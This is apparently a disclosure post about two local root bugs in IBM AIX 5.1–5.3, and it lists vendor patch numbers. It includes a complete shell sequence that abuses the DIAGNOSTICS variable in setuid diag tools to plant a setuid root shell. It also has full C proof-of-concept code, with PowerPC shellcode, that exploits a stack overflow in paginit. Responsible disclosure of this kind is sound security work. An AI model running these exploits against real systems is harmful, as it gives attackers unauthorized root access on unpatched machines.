hi,
i found some local security holes in IBM's AIX versions 5.1, 5.2 and 5.3 (unix for IBM RS/6000 powerpc).
1) the first is a bug in all setuid diag related tools that use an environment variable as a prefix to an external binary executed as root.
2) the second is a classical stack overflow in a tool called paginit.
status: vendor contacted, patches are available:
1) for the diag bug, bugfix numbers are IY64389(5.1), IY64523(5.2), and IY64277(5.3).
2) for the paginit bug, bugfix numbers are IY64358(5.1), IY64522(5.2), and IY64312(5.3).
bug descriptions below.
regards, cees-bart phd student @ university of nijmegen
---
bug 1:
there are (at least) 4 broken suid binaries.
-r-sr-xr-x 1 root system 10014 Sep 16 2002 /usr/sbin/lsmcode
-r-sr-x--- 1 root system 2796 Jan 26 2003 /usr/sbin/diag_exec
-r-sr-xr-x 1 root system 450433 Apr 08 2004 /usr/sbin/invscout
-r-sr-xr-x 1 root system 511362 Apr 08 2004 /usr/sbin/invscoutd
all these binaries are exploited the same way: the path set in the $DIAGNOSTICS environment is used by these binaries to execute $DIAGNOSTICS/bin/Dctrl as root (duh).
for example; executing the following gives a root shell:
mkdirhier /tmp/aap/bin export DIAGNOSTICS=/tmp/aap cat > /tmp/aap/bin/Dctrl << EOF #!/bin/sh cp /bin/sh /tmp/.shh chown root:system /tmp/.shh chmod u+s /tmp/.shh EOF chmod a+x /tmp/aap/bin/Dctrl lsmcode /tmp/.shh
bug 2:
the following setuid binary:
-r-sr-xr-x 1 root security 7354 Mar 12 2003 /usr/bin/paginit
does not do a bounds check on the first commandline argument, which is supposed to be a username.
if you feed paginit the proper data and hit enter, root priviledges are gained.
POC exploit code:
/* exploit for /usr/bin/paginit tested on: AIX 5.2
if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly.
cees-bart <ceesb@xxxxxxxx> */
#define RETADDR 0x2ff22c90
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd" "\x7c\xa8\x02\xa6" "\x38\xe0\x11\x11"
"\x39\x20\x48\x11" "\x7c\xc7\x48\x10" "\x38\x46\xc9\x05" "\x39\x25\x11\x11"
"\x38\x69\xef\x17" "\x38\x87\xee\xef" "\x7c\xc9\x03\xa6" "\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e" "\x2f\x73\x68\x00"
;
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) printint(i, 0x7ca52a79);
memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1); code[sizeof(code)-1] = 0;
env[0] = code;
env[1] = 0;
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0; p = buf;
p += 4114;
printint(p,RETADDR); // try to hit the landingzone
p += 72;
printint(p, RETADDR); // any readable address (apparently not overwritten)
execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}
